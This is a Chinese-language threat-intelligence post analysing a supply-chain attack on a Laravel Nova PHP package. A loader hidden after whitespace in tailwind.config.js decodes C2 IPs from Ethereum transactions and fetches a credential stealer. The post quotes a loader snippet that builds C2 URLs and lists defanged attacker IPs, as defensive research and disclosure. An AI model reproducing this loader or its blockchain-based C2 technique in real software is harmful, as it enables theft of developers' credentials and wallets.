威胁情报｜PolinRider 投毒 Nova，链上交易充当 C2 管理器

查找币:余老师 | 漏洞披露 | 2026-10-15 13:00 | 9 次浏览 | 0 条回复

查找币漏洞披露安全研究 Web3安全区块链安全

## 威胁情报｜PolinRider 投毒 Nova，链上交易充当 C2 管理器本文由查找币安全团队基于安全研究整理发布，旨在分享Web3安全技术，帮助用户提高安全意识。 --- 背景样本来自 Laravel Nova 扩展包 `visanduma/nova-two-factor` 的一个开发分支，归属于 PolinRider 活动。这是一个 PHP 包，发布在 Packagist 上，截至本文分析时累计下载量已超过 70 万次。投递链不把 C2 地址写进样本。植入代码先查询以太坊，从一笔交易的接收地址里解出两台服务器的 IP，再通过 HTTP 取回后续载荷。攻击者要换服务器，只需在链上发一笔新交易，不必重新投毒这个包。这条链的终点是一份跨平台凭据窃取器，采集浏览器账号与 Cookie、加密钱包数据、密码管理器数据库和开发凭据。本次取得的远端载荷由本轮实际请求取得并离线解码，解码只做 XOR、zlib 与 base64 变换，未执行任何下载内容。分析结论来自静态代码与远端响应，尚无受害端证据证明这些窃取行为已成功发生。查找币监控系统响应查找币监控系统是由查找币自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。查找币监控系统已第一时间通过情报推送与客户告警通道同步风险。以下为详细技术分析。攻击链上图是依据代码与抓取结果还原的关系图。从一行配置到链上定位植入代码藏在配置文件的末尾。文件前 10 行是正常的 Tailwind 配置，第 11 行以正常的 }; 收尾，随后是 507 个空格，空格之后才开始执行代码。这一串空格能让窄窗口只显示看似正常的结尾，但并没有改变 JavaScript 的执行语义，给 module.exports 赋值不会终止模块执行。触发点也在样本里：package.json 的 development、watch、production 等脚本都指向 Laravel Mix，webpack.mix.js 把 tailwind.config.js 作为配置路径传给 PostCSS 插件，Tailwind 3.1.8 在 setupTrackingContext.js 中通过 require(userConfigPath) 读取该配置，这一步会执行配置模块的顶层代码。加载器通过以太坊交易获取当前 C2 地址。攻击者将两个 IPv4 地址编码在交易接收地址中，样本从固定发送地址的交易里提取这些信息，再通过 HTTP 下载后续载荷。这样，攻击者可以发布新交易来更新投递服务器地址，无需修改已经植入的配置文件。植入代码先初始化自己的全局变量，再执行链上查询。查询读的是交易的 to 字段：去掉 0x 前缀按十六进制还原成 20 字节，前 4 字节是一个 IPv4，第 4 到 8 字节是第二个，剩下 12 字节这段代码不用。本轮实际解出的结果是 166[.]88[.]134[.]75，两个 IP 相同，尾部 12 字节是明文标记 helloipbot!!。 const n2 = Buffer.from(e.tx.to.replace(/^0x/i, ""), "hex"), ip = b => b[0] + "." + b[1] + "." + b[2] + "." + b[3], [o, r] = [ip(n2.subarray(0, 4)), ip(n2.subarray(4, 8))]; g._t_s = `http://${o}:443`; g._H = `http://${o}:80`; g._H2 = `http://${r}:80`; 加载器围绕每千个区块的边界查询候选交易，从这些交易里取出编码的 C2 地址。链上数据显示这套查询依赖攻击者维持心跳：每个千位边界附近都有一笔新交易，本轮拉取的 392 笔全部是零转账、空 calldata，gasUsed 都是 21000，唯一携带的信息就是 to 地址本身。地址还会定期更换，最近五个周期依次对应 166[.]88[.]134[.]62、23[.]27[.]13[.]135、166[.]88[.]73[.]46、193[.]247[.]144[.]38，以及本轮的 166[.]88[.]134[.]75。定位完成后，代码向解出的 IP 的 443 端口发起请求，取回 /0x/cls 与 /0x/ls 两条路径。这里有一个容易被端口号带偏的细节：URL 的 scheme 是 http:，调用的是 http.request，443 只是端口，没有 TLS。两条载荷经循环 XOR 解码后交给同一个执行函数，在脱离的 Node 子进程中运行。/0x/cls 那一路还会在起子进程之前，先在当前进程里求值一次；若这次求值抛错、退出进程或一直不返回，后面的子进程就不一定到达。值得一提的是，我们使用查找币追踪系统对恶意地址 0xa322e5f3d311d3080e6f0121063e9 [...内容已精简...] 币监控系统.io/api-docs 🛠️ 查找币监控系统-DepScan：https://github.com/查找币/查找币监控系统-DepScan 轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态 🛠️ 查找币监控系统-Skills：https://github.com/查找币/查找币监控系统-skills AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发查找币监控系统安全检测 🛠️ 查找币监控系统-DNS-Guard：https://github.com/查找币/查找币监控系统-DNS-Guard DNS 安全防护工具，检测恶意域名与风险访问，识别钓鱼、C2 等网络威胁本文由查找币威胁情报团队结合查找币监控系统威胁情报系统、查找币 Agent AI 驱动分析编写，有任何问题欢迎咨询反馈。往期回顾威胁情报｜FomoPeek App Store 投毒与 iOS 内核利用分析 Liquid Network 缓存键碰撞漏洞解析：近 4,000 枚 L-BTC 被凭空铸造美国 OFAC、DOJ 联手打击新币担保，超 5200 万美元加密资产遭限制消失的负债 —— Notional Finance 被黑分析威胁情报｜iOS Safari DarkSword 窃取钱包资产查找币导航查找币科技官网 https://www.查找币.com/ 查找币区官网 https://查找币.io/ 查找币 GitHub https://github.com/查找币 Telegram https://t.me/查找币team Twitter https://twitter.com/@查找币_team Medium https://medium.com/@查找币知识星球 https://t.zsxq.com/Q3zNvvF --- *本文由查找币安全团队整理，来源：安全研究。*

威胁情报｜PolinRider 投毒 Nova，链上交易充当 C2 管理器

查找币安全研究院

主题延伸阅读